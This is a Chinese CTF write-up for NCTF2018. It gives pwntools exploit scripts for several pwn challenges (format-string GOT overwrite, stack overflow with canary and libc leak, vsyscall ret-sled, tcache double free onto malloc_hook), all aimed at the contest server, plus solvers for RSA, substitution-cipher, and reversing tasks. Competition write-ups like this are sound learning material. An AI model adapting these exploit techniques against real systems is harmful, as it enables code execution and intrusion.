NCTF2018

solo失败,丢了一半pwn
没办法,马上考试,边看计网mooc边看题,还要做实验,先挑了些简单的,抢个pwn一血为团队打一下广告就撤了,其他的题还没来得及下载orz(希望计网别挂掉)

0x01 SMALL bug I

任意地址写get shell

1
2
3
4
5
6
7
8
from pwn import *

p=remote("ctfgame.acdxvfsvd.net",11001)
p.sendlineafter("Your Token:","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")

p.sendlineafter(":\n","a"*8+p64(0x60108c))
p.sendlineafter(":\n","1"*8)
p.interactive()

0x02 SMALL bug II

常规的格式化字符串漏洞,改got表即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level='debug'
#p=process("./smallbug2")
p=remote("ctfgame.acdxvfsvd.net",11003)
p.sendlineafter("Your Token:","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")
e=ELF("./smallbug2")
p.recvuntil("? \n=========================\n")
p.sendline("%7$saaaa"+p64(e.got['puts']))
addr=u64(p.recv(6)+"\x00\x00")-0x6f690
one_gadget=addr+0xf02a4
#gdb.attach(p)
print hex(addr)
print hex(one_gadget)
payload="%"+str((one_gadget>>16)&0xff)+"c%9$hhn"+"%"+str((one_gadget&0xffff)-((one_gadget>>16)&0xff))+"c%10$hn"
p.sendline(payload.ljust(24,"a")+p64(e.got['printf']+2)+p64(e.got['printf']))
#gdb.attach(p)
p.interactive()

0x03 SMALL bug III

符号数与无符号数使用不规范
size构造-1使程序栈溢出,leak canary后复用栈溢出,第一次leak canary同时可以leak init,即可得到程序加载基址,然后再同样leak libc,ret to one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level='debug'
#p=process("./smallbug3")
p=remote("ctfgame.acdxvfsvd.net",10005)
p.sendlineafter("Your Token:","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")
p.sendlineafter(":\n","-1")
p.sendlineafter(":\n","a"*17*8)
p.recvuntil("aaaa\n")
canary="\x00"+p.recv(7)
addr=u64(p.recv(6)+"\x00\x00")
print hex(u64(canary)),hex(addr)
p.sendafter(":\n","a"*17*8+canary+"a"*8+p64(addr-0x104))
p.sendlineafter(":\n","-1")
p.sendafter(":\n","a"*20*8+"a"*16*8)
p.recvuntil("a"*20*8+"a"*16*8)
s=u64(p.recv(6)+"\x00\x00")
print hex(s)
p.sendafter(":\n","a"*17*8+canary+"a"*8+p64(s-0x3955b5))
p.interactive()

0x04 sendyouflag

1
2
__isoc99_scanf("%9s", &v1);
if ( v2 == 0x61616161 )

栈溢出,nc连接后多输几个”a”覆盖掉v2即可

0x05 sendyousomething

最常规栈溢出

1
2
3
4
5
6
7
from pwn import *

p=remote("ctfgame.acdxvfsvd.net",10002)
p.sendlineafter("Your Token:","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")

p.sendlineafter("ROP\n","a"*24+p64(0x400684))
p.interactive()

0x06 baby stack

栈溢出,但程序检测输入只能是8的整数倍,程序有地址随机化,不能直接覆盖返回地址到后门,可以利用vsyscall地址固定来bypass:

1
2
3
4
5
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> x/10i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret

汇编查看,实际后门在main函数:call xxxx的下一步,所以栈本身就有后门地址,只需要将在此地址前栈都覆盖成ret便可以作滑板(不断ret,最后到达后门get shell),不过不能直接用0xffffffffff600009,会爆错误:

1
Program received signal SIGSEGV (fault address 0x0)

请教了一下po叔:

1
vsyscall只能从调用开始的地方开始,vsdo可以任意位置

具体原因有待查阅
覆盖到0xffffffffff600007也不行,这时rax=0,rdi=0,rsi=stack_addr,rdx=1,同样报错(???):

1
2
3
4
5
6
 ► 0xffffffffff600007    syscall  <SYS_read>
fd: 0x0
buf: 0x7ffcad969720 ◂— 0xa /* '\n' */
nbytes: 0x1
0xffffffffff600009 ret
Program received signal SIGSEGV (fault address 0x0)

所以只能完整调用一遍vsyscall中预先设置syscall再ret(与ret效果相同):

1
2
3
4
5
6
7
8
from pwn import *

p=process("./babystack")
p=remote("ctfgame.acdxvfsvd.net",10003)
p.sendlineafter("Your Token:","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")
#gdb.attach(p)
p.sendline("a"*24+p64(0xffffffffff600000)*2)
p.interactive()

0x07 babytcache

程序存在uaf,利用tcache fd指向的是chunk的prev size来修改chunk,构造unsorted bin来leak libc ,然后double free改malloc hook为one_gadget即可(抢了一血,happy):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.log_level='debug'
p=process("./babytcache")
p=remote("ctfgame.acdxvfsvd.net",10006)
p.sendlineafter(":","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")
def add(note):
p.sendlineafter(">>","1")
p.sendafter(":",note)

def delete(index):
p.sendlineafter(">>","2")
p.sendlineafter(":",str(index))

for i in range(24):
add("kirin\n")
for i in range(7):
delete(i+1)

#fastbin
delete(0)
delete(7)
add("kirin\n")
add(p64(0x30)+p64(0x451)+"\n")
delete(0)
p.sendlineafter(">>","3")
p.sendlineafter(":","0")
addr=u64(p.recv(6)+"\x00\x00")-0x3ebca0
one_gadget=addr+0x10a38c
malloc_hook=addr+0x3ebc30
delete(5)
delete(5)
add(p64(malloc_hook)+"\n")
add("aaa\n")
add(p64(one_gadget)+"\n")
print hex(addr)
p.interactive()

0x08 Calc

替换汇编->运算符,eval即可(做的时候碰到这几个运算直接出了,应该会有其他的)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level='debug'
key1=["sub","mul","xor","add"]
key2=["-","*","^","+"]
p=remote("ctfgame.acdxvfsvd.net",30003)
p.sendlineafter("Your Token:","50llRDHlw2UkO1aAZTemJAae6dBGdTgD")
p.recvuntil("...\n")
s=p.recvuntil("\n").strip()
for i in range(len(key1)):
s=s.replace(key1[i],key2[i])
p.sendline(str(eval(s)))
p.interactive()

0x09 easy rsa

因式分解+爆破(最低位决定最低位)

1
2
(p+1)(q-1)=pq-(p-q)-1
(p-1)(q+1)=pq+(p-q)-1

大概半分钟出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
n=24585768801100871989460458412563674690545986652089097718040761783186739174559136657307807040444318337561194142282186006216583089898423180103199568738639814413601595196467099996734334212909157604318709957690532885862891927163713619932622153281344607898846228206181834468325246573910857887714824338949742479585089251882243488454602710292507668577598274622372304293403731722318890268908300308478539449464617438721833942643889296634768118375076052778833640986893990732882252524850152650060780854621796349622086656401914022236044924841914313726991826438982902866584892213702893596657746111940812657202364588469026832387629
x=14048479366496281701869293063643750801596179514889914988732592464154208813942939793532694949932787548745769133200541469022315588864587160064703369956054828780928008235304461825448872454098086255531582368864754318040219023548966787642948010656526691472780392631956031751285174567712974691729142190835749586660
print n-x-1
print n+x-1
x1=24585768801100871989460458412563674690545986652089097718040761783186739174559136657307807040444318337561194142282186006216583089898423180103199568738639814413601595196467099996734334212909157604318709957690532885862891927163713619932622153281344607898846228206181834468325246573910857887714824338949742479585075203402876992172900840999444024826796678442857414378414999129854736060094357368685006754514684651173088173510688755165745802786211465618768937616937935904101324516614848188235331982167698263366555074033049267918004705818365346939348878428326376175112111821070937564906460937373099682510635446278191082800968
x2=24585768801100871989460458412563674690545986652089097718040761783186739174559136657307807040444318337561194142282186006216583089898423180103199568738639814413601595196467099996734334212909157604318709957690532885862891927163713619932622153281344607898846228206181834468325246573910857887714824338949742479585103300361609984736304579585571312328399870801887194208392464314783044477722243248272072144414550226270579711777089838103790433963940639938898344356850045561663180533085457111886229727075894435877618238770778776554085143865463280514634774449639429558057672606334849628409031286508525631894093730659862581974288
ans_p=[0]
ans_q=[0]
pp=[]
qq=[]
for bit in range(len(str(x))+1):
for i in range(len(ans_p)):
for p in range(10):
for q in range(10):
tmp_p=ans_p[i]+p*(10**bit)
tmp_q=ans_q[i]+q*(10**bit)
if (tmp_p+1)*(tmp_q-1)%(10**(bit+1))==x1%(10**(bit+1)) and (tmp_p-1)*(tmp_q+1)%(10**(bit+1))==x2%(10**(bit+1)):
pp.append(tmp_p)
qq.append(tmp_q)
ans_p,ans_q=[],[]
for a in pp:
ans_p.append(a)
for a in qq:
ans_q.append(a)
print ans_p,ans_q
pp,qq=[],[]

得到p的可能解,用n%p==0得到唯一解,然后正常解即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from gmpy2 import invert

n=24585768801100871989460458412563674690545986652089097718040761783186739174559136657307807040444318337561194142282186006216583089898423180103199568738639814413601595196467099996734334212909157604318709957690532885862891927163713619932622153281344607898846228206181834468325246573910857887714824338949742479585089251882243488454602710292507668577598274622372304293403731722318890268908300308478539449464617438721833942643889296634768118375076052778833640986893990732882252524850152650060780854621796349622086656401914022236044924841914313726991826438982902866584892213702893596657746111940812657202364588469026832387629

e=0x10001
c=13043206753625359891696429504613068427529111016070088678736297291041435652992434742862062899975037273524389833567258051170507686131853178642412748377655159798601888072877427570380109085131089494464136940524560062629558966202744902709909907514127527274581612606840291391818050072220256661680141666883565331886278443012064173917218991474525642412407692187407537171479651983318468186723172013439034765279464665108704671733067907815695414348312753594497823099115037082352616886076617491904991917443093071262488786475411319592529466108485884029307606114810451140886975584959872328937471166255190940884805476899976523580343
p=163979993780473228636250944509658100304105288291161815533296974391197924208241177469979929848925840413549589001337016682107921402071171221384247679860925727646585534725356410523705767408370013103023547625067109338180880560875828450693640775629005283101707663609483220395891338395873247794351441082424506156057
q=n/p
def rsa(n, p, q, e, c):
d = invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print hex(m)[2:].decode("hex")

rsa(n, p, q, e, c)

0x0A Substitute

利用在线网站

1
https://quipqiup.com/

词频分析即可
得到大概解,剩下的根据单词人工进行替换即可:
解题的时候因为编码问题脚本写的贼丑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: UTF-8 -*-
s="いをねちよなとち ねちほ かなわろほそ よへ たよつつりろをほ るほゐつ りつ らほそゐ をいそとほ, ねちりつ はりたちほそ りつ かよね らほそゐ つねそよかと, いかに りつ ほいつりをゐ ろそよるほか. たそよらりにほに ねちほ わほつついとほ りつ よへ そほいつよかいろをほ をほかとねち, ねちほ はそゐたねいかいをゐつね はいか にほになはほ ねちほ たそよろいろをほ わほいかりかと よへ ねちほ わよつね はよわわよか つゐわろよをつ ろゐ いかいをゐのりかと ねちほ へそほれなほかはゐ にりつねそりろなねりよか よへ ねちほ はりたちほそねほうね. ねちりつ いををよむつ へよそわいねりよか よへ たいそねりいを むよそにつ, むちりはち はいか ろほ ねほかねいねりらほをゐ へりををほに りか, たそよとそほつつりらほをゐ ほうたいかにりかと ねちほ つよをなねりよか. ねちほ へをいと りつ つなろつねりねなねりよか はりたちほそ りつ つよ とよよに. りか つよわほ はいつほつ, なかにほそをゐりかと むよそにつ はいか いをつよ ろほ にほねほそわりかほに へそよわ ねちほ たいねねほそか よへ ねちほりそ をほねねほそつ; へよそ ほういわたをほ, いねねそいはね, よつつほよなつ, いかに むよそにつ むりねち ねちよつほ ねむよ いつ ねちほ そよよね いそほ ねちほ よかをゐ はよわわよか ほかとをりつち むよそにつ むりねち ねちほ たいねねほそか いろろはいにろ. わいかゐ たほよたをほ つよをらほ つなはち はりたちほそつ へよそ そほはそほいねりよか, いつ むりねち はそゐたねよとそいわ たなののをほつ りか ねちほ かほむつたいたほそ."
key="althougenmbrfpsikyvcd"
def check(a,b):
for i in a:
if b==i:
return False
return True
ans=[]
i=0
while i < len(s):
if s[i]=="\xe3":
k=s[i:i+3]
i=i+3
if check(ans,k):
ans.append(k)
else:
i=i+1

for i in range(len(key)):
s=s.replace(ans[i],key[i])

print s

0x0B 后门后门后门

动调下断点->跳到flag输出函数即可

0x0C Our 16bit wars

纯看汇编就行,移位+异或

1
2
3
4
5
key= [ 201, 104, 138, 200, 111, 7,6,15, 7, 198, 235, 134, 110, 110, 102, 173,76, 141, 172, 235,  38, 110, 235, 204, 174, 205, 140, 134, 173, 102, 205, 142, 134, 141, 175]
ans=""
for i in key:
ans+=chr(((i<<3)^(i>>5))&0xff)
print ans

0x0C 基本操作 ~Reverse Version.~

大概了解程序流程,随意输入一组字符得到位置对应关系,然后对应程序中的字符串比较得到原flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
i=0
key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-+"
key2="abdhpF+GqHIirJKsLMejtNOuPQkvRSwTUcflxVWyXYmzZ1A23gnB45C67oD89E0-"
key3="bcec8d7dcda25d91ed3e0b720cbb6cf202b09fedbc3e017774273ef5d5581794"
ans=[]
for i in key2:
ans.append(key.find(i))
k=[0]*64
for s in range(64):
k[ans[s]]=key3[s]
flag=""
for i in k:
flag+=i
print flag